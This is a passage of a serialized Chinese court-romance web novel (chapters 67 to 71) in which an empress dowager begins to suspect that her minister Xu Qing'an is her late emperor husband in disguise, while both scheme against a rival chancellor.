她目光始终落在前方的那幅少年画像上,她想起他刚才看见那幅画的反应,虽然他已极尽隐忍,但他眼神中渗出的那些情绪还是被她捕捉。 照理说,他没有见过先帝,甚至这幅画见过的人也是少之又少,可是他看那幅画时眼神却就像再看一位故人,眼中也带着莫名的悲伤。 为什么呢? 今夜到底是哪些地方触动了他?又到底为何会触动到他?分明许多事都与他无关啊…… —— “你……近日有空吗?” 立政殿里,少年帝后并坐案前,上官栩微扶住他的肩,歪头对他轻俏声。 周景知向她看去,想了想之后问道:“怎么了?是有什么要紧事么?” 上官栩抿唇思忖:“也没有,就是左尚署新来几个画师,据说画工不错便差了人来问是否需要绘制帝后的画像了。” 周景知突然想起来:“哦对,是该绘像了。”他笑了笑,回答她之前的问题道,“明日似乎没有重要的朝事安排,不如就明日如何?” 上官栩很干脆地点头:“好啊,我也是这样想的。” 能进左尚署的画师都是当下画师中的佼佼者,对于他们而言绘制人像不过简单之事,绘图所耗时间也就那些寻常的画师少了大半。 只是如绘制帝后画像这样的事也是属于朝中事务的一种,既有章程便难免一板一眼,周景知和上官栩一个穿冕服一个着祎衣,绘制画像中就只能一动不动地坐在那儿,而好不容易绘完图后,上官栩方才看了眼,才夸了句不错,就听说那画那拿下去表好,然后存入秘阁中。 上官栩便不由得一叹:“可惜,这么好的画就只能留给后世欣赏了。” 周景知没忍住笑:“你这是被自己的美貌所折服?” 上官栩扬眉,顺着打趣回去:“就不能是因为你的美貌而折服?” 周景知努力压着自己想要上扬的唇角:“我这么厉害?” 上官栩被与他话中内容截然不同的神色逗笑出声,戏谑道:“你是真不知道还是假不知道?是不是就是想听我夸你?” 周景知撇开头,面向无人处低笑,并不回答。 上官栩眼珠滴溜一转,有了主意道:“那不如这样吧,再让画师给你画一幅留给我单做珍藏,我以后就天天对着那画左看右看,天天对你夸出不同的话来。” 虽说左尚署的画师画工精湛,绘制速度比寻常画师的要快,但真要好好画一幅人像图也是需要一阵时间的。 反正对于上官栩来说,她呆坐在那儿是极难熬的,所以她觉得他定然也不会应。 可是他说:“好啊,可要换套衣服?不若换常服可好?常服不那么板正,兴许还真能帮你夸出花来。” 那日是二月廿七,距离三月初三不过五日,五日后,裱好的画卷送往立政殿,然而方未来得及拆开,他们便一同去了曲江,上了游船。 他亦没有听到一句她承诺好的,要对他夸出花的话…… —— 徐卿安去了张凡休息的地方。 自张凡受伤后他每夜都守在殿内,只要张凡一有动静他便能及时响应。 只是平日里他都一人在殿内守候,只有今日他唤了旁人一起。 因他知道他静不下心,往事如流水般不断从他心中冲刷过,他想起一事便剜心一次。 而他分明痛苦,却又觉得自己渐渐麻木。 “徐大人!你、你流鼻血了!” 与他一起陪候的宫人的声音骤然响起,徐卿安抬眼向那宫人看去后,手从鼻下一抹,面无表情地看向那指腹上的鲜血。 这已经是他近几日来的第三次鼻衄了。 第68章 徐卿安抬手示意宫人止了声音,亦叫住了他想去唤太医的脚步。 “不打紧,近日天气燥热,身子难免火冲,不必为此去寻太医。” “可……” 宫人忧心忡忡地看着那鼻下一片鲜红的郎君,他神色分明虚弱,分明看起来如白瓷易碎,可他从袖中取了方帕子出来后仍是云淡风轻地动作细致但神态随意地擦了擦。 宫人见他对自己笑道:“流鼻血本就不是什么大事,你此前应该也见过不少这样的情况吧,可是会每次都叫大夫来?是不是都是想法止了血就好了?” 宫人觉得徐卿安说得有理。 流鼻血并非是什么大症表现,甚至都可以算得上是稀松平常的事,且若同一时间只有流鼻血的症状,许多时候也都是如他所说的那般想法止血就好了,极少有就因为这一个表现而大张旗鼓请大夫来医治的。 况且那人还说:“张公也需要好生休息,便也不要因这事吵闹到他了。” 宫人到底无法左右他的想法,只能低声应下了。 —— 张凡虽然脱离危险清醒了过来,但脚下却一直觉得疲软无力,这几日荀阳和太医们想了许多办法,汤药针灸全都施用了,但都收效甚微。 今晨,荀阳给张凡扎完针后,趁收拾东西的间隙与徐卿安多聊了几句。 “张公的腿可能……”荀阳欲言又止,换言道,“脑为元神之府,张公腿的问题并非出在腿上,可是他伤的地方又实在太险,能够保住性命已是不易,当下便不可再行其他刺激之举。” 徐卿安大致能听明白荀阳的意思。 张凡如今脚下生恙就是因为之前头部被剧烈撞击后留下的后遗症,故而按惯例来说,哪里出现了问题便要从哪里入手进行修复,可是张凡伤在头部,病灶所在处本就脆弱,修复过程中稍有不对便易扰动元神再添新症,所以也就有了荀阳口中说的“不可再行其他刺激之举”了。 徐卿安沉吟,他了解荀阳的医术,如荀阳都能说出那样近乎绝对的话,他便知道张凡如今腿部情况不容乐观了。 他低声:“嗯,我明白,你是圣手,一切便依你的打算来就好。” 荀阳点头,有了主意,又问:“那张公的情况就由你去给立政殿那位说?还是让太医院的直接报上去。” “我去说吧。” “嗯。” “对了,”荀阳刚迈出步子就被徐卿安叫住,“现下你有空,帮我号个脉吧。” 荀阳眼睛慢慢瞠大,可是眼前之人眼神分 明真诚,仿佛那话就是他真心说出来那般。 这真是稀奇了,印象中这好像是四年来荀阳第一次见到徐卿安要主动让人把脉的。 所以他当即就问:“你是哪里很不舒服?又动气了?” 徐卿安摇头,声音依旧低沉:“没有,只是感觉有些奇怪,从张公受伤到今日,不过三日我便流了三次鼻血了,前一两次我还没太在意,但到第三次时便觉得有些不对了。” 荀阳话还没听完,就已按着徐卿安坐下,抢了他的手腕过来把脉。 荀阳蹙了眉。 “怎么样了?”徐卿安密切关注着。 然而这一次荀阳的眉头却一直紧没有展开:“我之前就说过你的脉象乱,本已经稍好了一阵,但如今却又乱起来了。” “可是和那余毒有关?”徐卿安问。 荀阳沉吟道:“不好说,近日来影响的因素太多,许是张公受伤你心绪受了影响所致,也许是你日夜守护在张公身边精气亏损所致,又许是……” “又许是什么?”徐卿安追问。 荀阳微叹,抬眼看他一眼后开口道:“又许是余毒在身体留得太久,到底侵入到了你的肺腑中。” 徐卿安呼吸重了瞬。 荀阳道:“不过到底是没有确认是哪种情况,目前表现的症状也不算太严重,也就不用太过因此忧心,我先想个办法帮你稳住,其他的可等我师父为你准备好下次拔毒的药物后再说。” 徐卿安长叹:“该是第四次了吧……” 第四次拔毒了。 荀阳颔首:“是,下一次便是第四次了。” 记得须丰以在第三次拔毒时曾说过,每次拔毒就如刮骨疗伤,每拔一次,无论是否成功,人的身体都会被磨损一次,所以若毒一直除不尽,那么最后身体渐弱,而那时毒性就算不增重,但最后人也会因自身的消耗而难抵毒药的侵蚀。 这也是为什么徐卿安每一次拔毒间的时间间隔都会被拉长的缘故,就是为了拔毒后给身体恢复的时间。 第一次间隔三个月,第二次间隔一年,而这第三次间隔已快有三年了。 可想而知这每一次拔毒对人体的伤害都多大,需要多久才能让人恢复元气,而若第四次还失败……那以拔毒损失身体的程度和第四次间隔时间来看,究竟是先到第五次拔毒还是先被那余毒侵蚀了五脏六腑,徐卿安便不得而知了。 徐卿安沉吟片刻,轻声道:“嗯,到那期间有哪些地方需要我配合的,你及时告诉我就好。” 荀阳瞬间抬眼看去,片刻才应了句:“好,”又道,“其实也没什么特别注意的,我给你的药你记得按时服用就好,然后也别思虑太多,尤其是你近几日还陪候着张公,便更要注意休息。” 徐卿安点点头:“好,我知道了。” 徐卿安如今的状况,荀阳也不能给出个完全有把握的答案,又见他脸上又现愁容,许多话荀阳也便只能咽回去。 不过往好的地方想,他如今也算开始关注自己的身体,对自己的情况多有在意了,便终归对他接下来的拔毒有好处吧。 —— 夜幕垂落后,徐卿安推开了立政殿寝殿的大门,他踩着无声地步子缓缓地走向了殿旁侧的罗汉榻—— 上官栩坐在上面闭目支着额,也不知在此等了多久。 “娘娘……” 一声轻唤,上官栩悠悠掀起了眼帘,弯了弯唇向来者笑,然而疲倦却是藏不住。 徐卿安面有担忧,柔声道:“以前就说过娘娘在夜间的精神不好,娘娘不如就早些休息,事情总能找出其它时间来商量。” 似觉他的话太过天真,想法太过美好,上官栩无奈笑:“其它时间哪有夜间方便,青天白日的你总出入我的寝宫会招些闲言碎语不说,就看你我相处的时长,有心之人便不难察觉到你我又想合谋做什么事。” 他无视她的话:“可是娘娘不好好休息,对身体不好。” 上官栩抬眼,定定看他片刻,他近日对她的关切真的多了许多。 纵是仔细回想以后,他各种神态动作中也对她多有关切之意,但也终归是隐于内里,从来不似近日这般,这么热烈,这么不加掩饰。 而他在她目光投来之后,与她平静地对视几息,便又移眼看向了它处,最后停在殿中一侧。 “不如去侧室可好,那日夜里与娘娘在侧室相见时便觉得娘娘的精神要好些,想来或许在娘娘的心目中侧室是更能放松娘娘身心的地方,也就能让娘娘精神更好些。” 上官栩看着他在看向了侧室之后转回头又与她说道。 在侧室中她的确会感觉自己的身心更为放松,这不只是有那画像的原因,更是她早年住入立政殿时就养下的习惯。 上官栩应了他的提议。 —— 侧室内,上官栩坐靠在那方美人榻上,看着那人颇为熟练地压着香灰,重新将香炉中的兰香续上。 今夜因她本无到侧室的打算,所以侧室内画卷和熏香都未打开或点上,而如今他做的事亦是他自己开口说的并非是她要求。 上官栩撑着额看他,看他背部宽展平直,身姿挺拔如松,看得久了只觉他如今愈发有如玉如竹的君子之气。 “你为何直接就选了兰香去续,也不问问是否想熏芍药香?” 徐卿安被身后的话顿挺了手。 上官栩看了一眼,又抬眼继续向他脸颊位置处看去。 而他背向她,她其实是看不见他的面容的。 徐卿安声如平常道:“上一次来就见娘娘熏的兰香,所以这一次便没有多问了。”不过他接着就又道,“娘娘可曾想过为何这一次苏相也恰好将心思放在了世家上?” 对于他是否在刻意转移话题,上官栩并未过多考虑,且他先前回答的话有理,而他后续所提到所提到的亦是她所关注的。 上官栩道:“想过,觉得太巧了。不仅将心思同往放在了世家上巧,就是时间也都巧。他做的一切似乎都只是为了抢在我之前。” “娘娘对世家原本的打算有几人知晓?” “今日之前,朝堂之上,除了你我,无人知晓。” 二人视线紧紧相接,上官栩继续道:“朝堂以外,知道的便是我想要拉拢的那些新势力了。” 徐卿安打着香篆的动作:“若臣记得没错,其实这次列队的世家中有一些以前是与上官家交好的。” “是,”上官栩不做隐瞒,“但是这些年我与他们私下的来往并不多,而苏望一向在意世家,或许就因此有了几家倒戈吧。” 徐卿安点上香,盖上香炉盖,向她转过身:“自上官公在世时,上官家便一直奉行依公行事,可结知己,但万不会多做结党营私之事,界限分明,娘娘奉行的是上官公的处世之道,所以所谓的几家倒戈,与娘娘没有关系。” 他向她走去,自然而然地坐到美人榻的一边,视线一刻不移的看着她道:“不过只是因为他们被利益驱使罢了。” “所以,”徐卿安垂了眸仔细想了想,“或许就是这几个,娘娘曾以为交好的世家在娘娘一有动作时就察觉到了娘娘的想法,将娘娘的计划泄露了出去,这才使得苏相提前得了消息,想要捷足先登,在朔朝上抢先了娘娘一步。” 上官栩沉吟:“我也是这样的想法,所以这几日我已经派人去查了,届时再配合着那些新兴势力使一出反间计,或许就可将此局破解了,那些投向苏望的老旧派把柄可不少。” 徐卿安:“嗯,臣的人恰好也在做此事,到时与娘娘合围,那些老旧派离覆灭也就不远了。” 上官栩听了这话,内心如巨石落地涌出一股满足的踏实感,骤然闭目长叹一声:“那样是再好不过了。” 徐卿安只在意她此刻因疲倦而阖上的双眼,揽过她 的肩让她躺在自己的双腿上。 上官栩亦没有显出任何抵抗。 而她察觉到他落在眉宇间的指尖,触碰轻柔,鬼神神差地来了句:“你会画眉么?” 第69章 徐卿安的手霎时顿住。 而上官栩仍闭着眼,似还沉溺在他刚才触碰带来的柔软感觉中:“以前自己画眉时总觉那不过只是添妆中的一步,后来经历过后,才知原来由旁人来画眉和自己给自己画眉感觉是不一样的。” 徐卿安觉察出她的言下之意,然而如画眉这样细致的事最容易让人察觉出端倪。 他道:“娘娘眉形很好,蛾眉柔顺浓郁,就算不画眉也很好看。” “你竟能辨得这般细致,看来你对画眉也并非一窍不通。”上官栩睁开眼含笑仰望他。 徐卿安手指再一缩。 指尖擦过额上的肌肤,上官栩笑他:“怎么了?被我说中了?” 徐卿安若无其事地回笑道:“娘娘说得对,臣的确有过了解,只是没想到,不过一句话便被娘娘看穿了。”说着,他再度抚上她的眉眼,又道,“臣也算有过慕艾时期,故而对女儿家的妆容眉黛之事,曾留心过几分。” 与其彻底否认引她怀疑,不如半真半假地承认,也能尽快将此事翻篇。 徐卿安静待她的反应。 上官栩果然笑了笑,重新闭上双眼,没有再纠结道:“也是,眉目最易传情,当然就更引人注目了。” 闻言,徐卿安且松一口气地笑了笑。 他并非不想与她相认,并非想要刻意隐藏自己的身份,他只是觉得时机不对。 失而复得固然令人惊喜,但是若在此之后再度失去,那便是对身心的又一次重创,尤其从大喜跌落至大悲的剧烈落差更会让这份痛苦愈加深重。 徐卿安无法清楚自己的身体到底是什么情况,倘若他身体中的毒此生都无法尽除,倘若他在拔毒的过程就…… 他实在不忍她再次遭受那样残忍惨痛的经历。 那样的痛苦只由他来承受便好。 除此以外,还有就是他不知自己该以怎样的面目去与她相认,是以她心目中原本的谦谦君子模样去?还是以她现在眼前阴鸷狠辣的模样去? 他始终觉得自己毁了她心中的那个人。 那便再等一阵吧,起码等到他能确保他可以长久地陪伴她时再告诉她也不迟,如今就这样默默守在她身边也挺好。 这般想着时,徐卿安已将手移到她蓬松的发丝上,手指从中拂过,抚慰她的同时亦是在感受她的发丝穿过指尖后带来的绵软痒意。 “张公那边怎么样了?”躺在腿上的人闭目问道,她神色安然,看得出现下她确是很舒服。 徐卿安手上动作停了下来,寞了声音:“碰撞伤了大脑,连带腿也……如今也动弹不得了。” 上官栩睁了眼看他:“荀大夫那边怎么说?” 徐卿安道:“他也只能走一步看一步。” 上官栩坐起了身。 带着思绪看了他一眼后,上官栩又垂眸道:“张公伤重,看来中书省的他难参与进去了,然而,中书省内不能没人牵制苏望。” “让你老师作保,你去做中书侍郎吧。”默了片刻后上官栩说道。 然而那话之后,身旁却久久没有回应。 上官栩以为他在沉思,可当她转过去去寻他时,却见他全面向她,目光和煦温柔,将她身影全部印在眼中。 上官栩诧异一瞬。 徐卿安忙撇开了视线。 他垂着眸道:“娘娘如今已知臣在朝堂外有不小的势力,还放心委以臣要职么?” “不是你让我相信你的么?”上官栩并未多想地回道。 徐卿安一时语塞,又失笑:“对,臣的确说过这话,没想到臣自己忘了娘娘却还记得清楚。” 不过就是转移注意力的话题罢了,徐卿安并不多花时间去深聊。 他说回上官栩提到的话道:“能做中书侍郎自然是好的,只是苏相那边不会恐怕这么轻易地让我登上那位置。” 上官栩沉吟道:“若是直接就让你加上去他定会百般阻拦,若是……”她抬眼看他,“若是你老师退下再换你上去,他那边应就好过了。” 毕竟一个相公换中书侍郎,这看起来都不是一个划算的买卖。 所以上官栩在说了那话之后就不再言语,只深深地看着他。 徐卿安明白她的顾虑,轻嗯一声后给出肯定的回答:“娘娘放心,老师那边由我去给他说。” 上官栩颔首:“那便只能先委屈他了。”又道,“现在仔细想来,当初你能那么轻易地加上中书舍人一职,也是因为苏望一早就做好文章,就是为了在朔朝上以‘中书舍人有草拟文书之责’为由发难你。” 徐卿安:“也就说明在我升调书下来之前,娘娘的计划就已经被泄露了,如此,娘娘可以先看一看在那之前到底通知了哪些世家准备行事,将范围划小,确定到底是哪家的人出了纰漏。” 上官栩:“嗯,你提醒得是。” 说完,她一下闭上眼,手捂着唇控制不住地打了个哈欠。 徐卿安无奈笑:“娘娘困了就早些休息吧,臣便不在这儿多待了。” “你要走?”上官栩微诧异。 徐卿安也一下顿住。 上官栩笑:“我原以为你今夜来会想歇在这儿呢。” 徐卿安只道:“娘娘的身体要紧,娘娘……想要筹办的事情要紧。” 上官栩了然,又问:“那你是继续去你老师那儿守着?” 徐卿安垂眸,给出了上官栩意料之外的回答:“老师如今的身体状况已经好多了,其它的也都只能慢慢调理,急也求不得。今夜……我请了几个宫人值守。” 上官栩眉头跳一下,之前见他昼夜守在张凡榻前还担心他身体吃不消,如今听他的安排虽然意外,但却也觉得他的确需要好好休息。 “嗯,这样也好,你身子终归不是铁打的,不能熬得太久,也该歇一歇了。” 他眨眼微笑:“嗯,娘娘说得对。” “对了,有一件事想问你。”徐卿安起身之后上官栩叫住他,“你打香篆、续香是从哪儿学的?” “娘娘问这个作何?” “就是觉得看起来有些熟悉罢了。” 徐卿安拇指摁了摁,但面上神情依旧没有变化道:“这打香篆、续香几乎都有一套统一的章程,臣也是从旁人那儿看来的,娘娘自然就会觉得熟悉了。” “你说得也对。”然而上官栩心中却想到的是,打完香篆之后在香炉口上方虚空挥一挥的她却只见过一人,续香完盖上炉盖之后会对那香炉朝向细致调整的她也只见过一人。 她抬眼对他笑:“好了,时辰不早了,你便早些回去歇息吧。” 他颔首轻声:“嗯,娘娘好梦。” “阿筝最近如何了?”临 别前,她最后一问。 他让她安心的:“身体早已大好,甚至又开始练武了。娘娘可是思念她,想要见她?不如让她来与娘娘见一面如何?” “我来安排便是。”他补充道。 房中沉静片刻后,“好。” —— 夜深人静,按理说访客离去后,立政殿便该恢复宁静,如之前约定好的那样各自入眠好生歇息,然而殿内翻折子的声音却是此起彼伏。 青禾已守在上官栩的身旁许久,见她一直来回翻看着一个人的折子,却又不像在细看其中的内容,不免问道:“娘娘是要找什么吗?” 上官栩放着折子后,头蓦地昏皇一瞬,她手支在案上,撑着额,口中喃喃自语:“怎么会?明明完全不像,可是为什么就是有那样荒诞的想法泛在心头。” 青禾凑近些,瞥到了眼折子末尾落款上的徐卿安三个字,不觉担忧道:“娘娘想到什么了?” 上官栩淡声:“你说人死……可以复生吗?” 青禾倏地睁大眼。 而上官栩闭上眼摇了摇头,也同样觉得自己话很荒诞,可是她控制不住这样的想法,以及自那夜之后各种重现在她脑中巧合的场景。 她觉得自己就像得了癔症般。 青禾低声安抚:“记得娘娘从不信鬼神。” 闻言,上官栩稍微清醒一阵:“对啊,世间无鬼神,又焉有死而复生,借尸还魂这样的怪事。” 上官栩兀自平息了一阵。 殿内也静了许久。 而就在青禾以为就这样要结束时,她却又突然听到身旁之人用无比平淡的声音道了句:“你说,皇陵,还有打开的可能吗?” 青禾再次惊震:“娘娘是想……!”她道,“天子之陵,事关天家、皇帝威严,绝无平白打开的理由,除非……” “除非我死。”上官栩接言道,“把我的棺椁送进去,与他合葬。” “但如果里面躺着的人不是他呢?”上官栩依旧平声静气,又转眸向身侧之人看去。 青禾说不出那是空泛的眼神还是因为想法太过大胆而目有失神:“娘娘是觉得当年禁军在下游找到的不是……?可是除了龙袍外,娘娘不是也找到那条红绳了吗?” “是啊。”上官栩垂眸叹,“他说过他会一直戴着的。” “可是如果,他骗了我呢?” 忽有一阵微风拂过,带动殿外竹叶簌簌。 上官栩转头向外望去,忽而想起一句词: “西窗下,风摇翠竹,疑是故人来。”[1] 第70章 上官栩心中的那荒诞想法不是骤然升起的,而是由这些日子中感受到的感觉一点一点堆积而来的。 但是那想法最初升起时,她只会觉得荒诞,因为那只是由心而起的,只是一些虚无缥缈的感觉推着她去想那背后存在的可能。 然而同样的,她也对他这几日奇怪的反应感到不解,也许正是因为这些不解,她才被逼迫着去寻找答案,只是在生死关卡上、在‘斯人已去’的前提上,她现在想出的答案都显得太过离奇。 可是细究其中的细节,她却也觉得都说得通。 尤其是今夜,今夜与他相处的那些可以说是再次给她心中的那些荒谬想法添了把火。 怎会就那么巧的一些并不常见的习惯都能撞上? 就算暂先不谈打香篆拂烟这样的习惯,就是其他一些细致的地方也能重合。 例如,她与他在侧室不过只相处过一次,他却能够察觉到相对其他地方而言,她在侧室会更为舒心。 又例如,那夜他在侧室中看到的那些与故人有关物件时的反应和表现出的强烈情绪,那绝不是以前他那些可笑的占有欲在作祟,而像由从一种很细腻、很柔和但亦积压许久的情感迸发而来的。 以及,刚才她躺在他双腿上时,他指尖触碰她时划过的轨道、力道都与她记忆中的如出一辙。 室内又有兰香缕缕,闭上眼时,她真的觉得那时与她相伴在一起的就是故人。 可是故人死了…… 上官栩垂了眸,所有的思绪都在这一刻结束。 所以到底还是臆想得多些罢? 毕竟世间之大无奇不有,人与人之间有些相似之处不也正常么。 她闭目扶上额,开口道:“青禾,今夜就全当是我癔症了吧,不必多想。” 青禾轻嗯,然而她目光停在自家娘娘的面容上,眉眼间的担忧并未有丝毫的减少。 只因她觉得这种荒诞的想法既然已经生成,又如何会停下来呢? 又怎么会甘心停下来呢? —— 翌日,立政殿中出现了一个面生却又熟悉的内宦。 青禾在那人进来之前就遣了众人下去,只待四下无旁人后,那人才抬了眼。 上官栩也立马没了刚才端容,不再保持与宫人之间该有的距离,而是几步上前拉住那人的手。 “阿筝。” “娘娘……” 内宦帽下,阿筝抬起脸,唇角弯了弯,向上官栩微笑。 上官栩亦欣慰地笑了笑:“你最近怎么样?如今形势,这段时日我并不方便出宫看你。” 阿筝道:“娘娘放心,奴婢身体已经大好,且多亏了荀大夫在,上一次遭刺杀留下的隐疾也都帮我一并调理好了。” “那就好。”可是上官栩松一口气之后又叹,“只是你因为上次那伤长期服药,到底因此有了不便,有了掣肘……” 阿筝闻言眉间浮上不解:“长期服药?可奴婢的药已停了一段时日了啊。” 上官栩问:“你不是在刺杀苏望前曾服下了一颗保命的药么?” 阿筝回忆后颔首:“是有这么回事,但这和奴婢要长期服药有何关系?” 上官栩神色一凛:“徐晏容曾和我说,那药虽能保命,但因药效太强对身体亦有害,所以服下之后需得长期再服用其他的药来压制它,他说这事是和你商量过的,你也是知晓的。” 阿筝摇头:“没有,从未有人来告诉奴婢那药会有害身体,而且只要有关疗养的事情都是荀大夫来和我说要注意哪些地方,徐大人他……从未参与过。” 阿筝想了想,也不知自己和上官栩得知的消息到底哪个是真哪个假,她便弱了声音:“而且,奴婢在服下那药前荀大夫还特意说了句,那是他研制的药参丸,是护人心脉的,没有其它害处,让我不必担心。” 上官栩心头一震,倏然颤呼一息。 不知为何,在听到阿筝的话后她内心便立马有了答案——她与阿筝之间,受骗的是她。 毕竟阿筝是当事者,身体有没有异样自己能够觉察出来,而徐卿安告诉她的话不仅在阿筝这儿对不上,就是他说的他与阿筝有关的交谈也对不上。 他骗她骗得她太多。 然而上官栩先将那些异样的情绪压下来,只想着那些可之后再去求证,表面也恢复平静道:“你现下没有服药便好,我也能安心不少。” 阿筝也轻嗯,再目有喜色道:“娘娘,奴婢大致知道自己是谁了。” 上官栩惊喜的目光亦投来。 阿筝抿唇道:“此事还是徐大人帮忙查探到的,按理说应该等尘埃落定了再告诉娘娘,可是今日与娘娘相见奴婢亦是欢喜,便想先将奴婢现下知道的说给娘娘听。” 她道:“奴婢本姓姚,父亲可能是赵王府中的亲兵校尉,奴婢与他同姓,且他膝下也有一儿一女,虽然父亲的面容在我脑中还不太真切,但也隐约有了些印象,而徐大人也派人去寻了画像,只待画像到了奴婢便可仔细辨认一番了。” 上官栩开始回想赵王的事。 然而,记得赵王开府时她还尚小,就连他远赴封地就藩,她也不过是一个才十岁出头的孩童,所以她对赵王府了解得实在不算多,至于其中的校尉她便更不了解。 不过现下有了线索便是好事。 “而且也不知这几日是不是因为精神好了的缘故,亦或是荀大夫之前让我服用的药仍有效用,奴婢也常梦见些往事,包括……当初我家人被蒙面人杀害的场景。”上官栩尚在沉思之际,阿筝又开了口。 气氛瞬间凝重下来。 因这话,上官栩心头似被拧了瞬,可当她向说话的人望去时,阿筝却扬了扬唇,带着苦意地笑了笑。 她坦然道:“事情都已经过去这么久了,奴婢也想开了不少,娘娘不必忧心。奴婢提起这事是想与娘娘说,奴婢的弟弟或许还活 着。” “真的?”上官栩眉头舒展开。 阿筝垂了眸,轻轻嗯,弱声道:“其实奴婢也不确定,只是奴婢在反复回忆那惨痛的画面时,看见了阿爹、阿娘,但唯独没有看见弟弟,所以奴婢便心想,或许遭受那祸事时弟弟并不在家中,故而也就心存了侥幸。” 上官栩鼓励道:“无论如何有可能就是好的。” “你可将这事告诉给徐晏容?” “还没有,因这只是奴婢的猜测便不敢直接说与徐大人。” 上官栩一下拉紧阿筝的手,带着她往外走:“没关系,总要试一试,走,你我先将此事告诉他。” —— 张凡休息的殿内,徐卿安遣了众人独自坐在榻边给张凡喂药。 “张公放心,子阳说了这伤并非是永久的,只要好生疗养亦可恢复如初。” 对于张凡的腿部情况,徐卿安的话不仅没有咬死,还给出了极大的希望。 张凡如今不过才捡回条命,徐卿安当然是不希望在其他地方再刺激到他了。 且,所谓为官者,须貌形周正,不容有缺。只要在官场还想有所作为,身上便是任何残疾都不能有的。 而徐卿安知道张凡现下还有未尽的抱负,若是直接斩断他的为官之路,他恐怕难以接受。 可是张凡却扯着唇角笑了笑,道:“郎君不必为我忧心,我这一生也算大小之事都经历过了,对于许多东西也都能看淡。”他垂眸叹,“本已抱了死志,如今却还能苟活于世,又何尝不是我的幸事呢?” 徐卿安回笑道:“张公当真是吾之良师,通透坚韧亦心境豁达,皆是我该学的,亦是我远远比上不的。” “郎君莫要说笑了。” “真心实意,只感叹当初未能早些结识您。” 二人在里间聊得热闹,而外间与里间相隔的屏风后,上官栩静静地站在那儿,将二人话悉数听入耳中。 她也不知道今日为何突发奇想在进来前不让人通传,就想先听他们说说话。 张公,又是张公。 记得那日在大殿上他喊的也是张公。 若是平日里唤张公是为了预防一日说漏了嘴唤出老师二字,可是这样做真的会将一个人下意识的呼喊都改变么? 那日在大殿上,那样情急的情况下,他竟也是唤的张公二字,而非老师。 难道在他内心深处,相公之位已凌驾于老师之上了? 可是自那日之后他们的师生关系就已不是秘密了啊。 而且,他刚才说只感叹未能早些结识张凡,可他幼时即拜师,再早还能早到什么时候? 张凡也奇怪,私底下竟也对他郎君相称,甚至话术中还多有敬意。 上官栩垂了头,凝眉沉吟了一瞬,她向一旁的青禾抬了手。 青禾了然,向里间喊道:“太后娘娘到——” 上官栩带着人绕过屏风后向里间走去,徐卿安放下碗从榻上起身。 他向她拱手行了礼。 “张公不必多礼。”见张凡也要跟着起身行礼,上官栩忙开口止了他,说完又转眸向一旁,抬手扶住那人,轻声道,“徐卿也不必多礼。” 这一次她的手不是虚扶,而是真真地碰到他的手掌下,亦向里扣住他的掌心将他抬起。 徐卿安跟着动作抬眼,却因投来的目光倏然一顿。 只见眼前之人的目光向他直射而来,灼烈偏又温和,亦藏着小心翼翼,如浸水的棉絮,温软但覆于身上时亦觉厚重,但那厚重不是枷锁而像是春日草木初生时空气中散发的暖意,丝丝缕缕,包围全身,钻入心底。 她今日目中的情绪竟如此毫不掩饰。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 她在看谁? 这一刻徐卿安的脑中就只冒出了这一个问题。 她的目光就像在看另一个人,但她的目光亦是锁在他的身上。 他心中忐忑一瞬。 近几日,一边是张凡重伤垂危,他连日照顾、忧心忡忡,一边是得知慕艾之人仍对自己情意深至,失而复得的喜悦和因误解而产生的自责不停在心中交织,他精力实在耗损太多,让他没能察觉到刚才与张凡交谈间外间站了人。 他就担心她在这时候察觉到了什么。 还不是时候…… 徐卿安立直身子的同时往后稍退了一步,将二人的触碰断开。 他再对着身前之人看了看张凡,示意有旁人在,有些事情便不太方便。 上官栩果真收回手,然而她最后看他的那眼似笑非笑,就让他根本摸不准她到底接没接受他给出的这个理由。 好在后面她也没再执着地要和他接触。 上官栩先与张凡说了几句话:“早闻张公已经醒来,只是听说您需要静养,我便到今日才寻到了来看望您的时机,不过您放心,现如今宫里有荀大夫和太医在,相信您身体早晚会恢复如初。” “想来外面的情况晏容也与张公说过了,那新政没能推行下去,而如今朝堂上的事亦有晏容帮着处理,您所思虑的事便不用担心了。” 张凡谦逊道:“老臣这把老骨头还让娘娘唤了这么多能手来医治,给娘娘添麻烦了。” “张公哪里话,您当日之壮举令人震撼,亦不知挽救了多少百姓,比起您做的那些,我做的这些事又算得上什么呢?” 二人再说了几句话后,上官栩抬眼看了眼榻边站立着那人,对张凡再含笑道:“好了,我今日来也只是亲眼看看您的情况如何,好让我安下心,然而我亦知您需要静养便不再打扰了。” 她站起身:“张公好生休息。” 张凡脚下无力,只能依靠在榻上告别。 徐卿安对他道:“我去送娘娘。” 张凡说不出情绪地看他一眼,点了点头。 —— 徐卿安追着上官栩到了外间。 “娘娘今日来此是有急事找我?” 上官栩停下脚步,往里间方向看了眼,再向外走了几步后才道:“中书省中官职打算调动的事你给他说了吗?” 让张凡主动卸下相公一职推荐徐卿安任中书侍郎的事。 徐卿安轻点一下头:“这两日曾隐晦地提了两次,打算隔一会再全盘说给他听。” 上官栩:“你这是担心刺激到他啊。”她笑了笑,“不过依我看你怕是将你老师看扁了,以往世人评他和而不争不是虚言,他对那些名利应也早就看开了的,所以那事你直接与他说也无妨。” “然而那事并非只涉及名利还关乎志向。”徐卿安顿一下,再道,“其实老师究竟如何想的我无从得知,但我知道,在我彻底告诉他真相之前照顾好他的情绪就是我应该做好的事。” 上官栩道:“所以你事事行事之前都是想的要如何照顾好他人的情绪?那你可曾想过你所以为的照顾好并非是他人想要的?” “不过时间问题而已,谨慎一些总是好的。” “然而时间先后亦关乎一个人得知真相的权利。” “很重要么?” “什么?” 徐卿安再反问:“很重要么?” 上官栩滞住,她想了瞬开口就想说很重要,然而却被徐卿安抢先道:“娘娘是觉得臣没有第一时间将实情向老师全盘托出是误了要事?应该不至于吧。” “进程虽的确晚了一两日,可是娘娘,若在不至于影响结果的情况下,用这一两日去确保一个人的无恙,臣私以为很重要,且张公于臣而言是良师,他方才脱险不久,在他的平安面前,娘娘刚才提到的那话,臣便觉得可以放一放。” 上官栩就觉得他在偷换概念:“我说的不止这件事。” “那娘娘还想说哪件?”他目光平静无澜地望着她,“娘娘若想与臣探讨也可直说,臣定知无不言言无不尽。” 上官栩当真是被气笑:“我想说哪件?我能说哪件?你自己的事不是只 有你自己清楚么?” “罢了。”上官栩叹一声道,“如你所言,张公的事晚个一两个时辰不会影响大局,你自己把握就好,我来找你是还有一事要与你说。” “娘娘请讲。” 她目光不错地看着他,开了口:“阿筝告诉我,你帮她探查到了她的身世,只待最后画像到了就可确认了。” 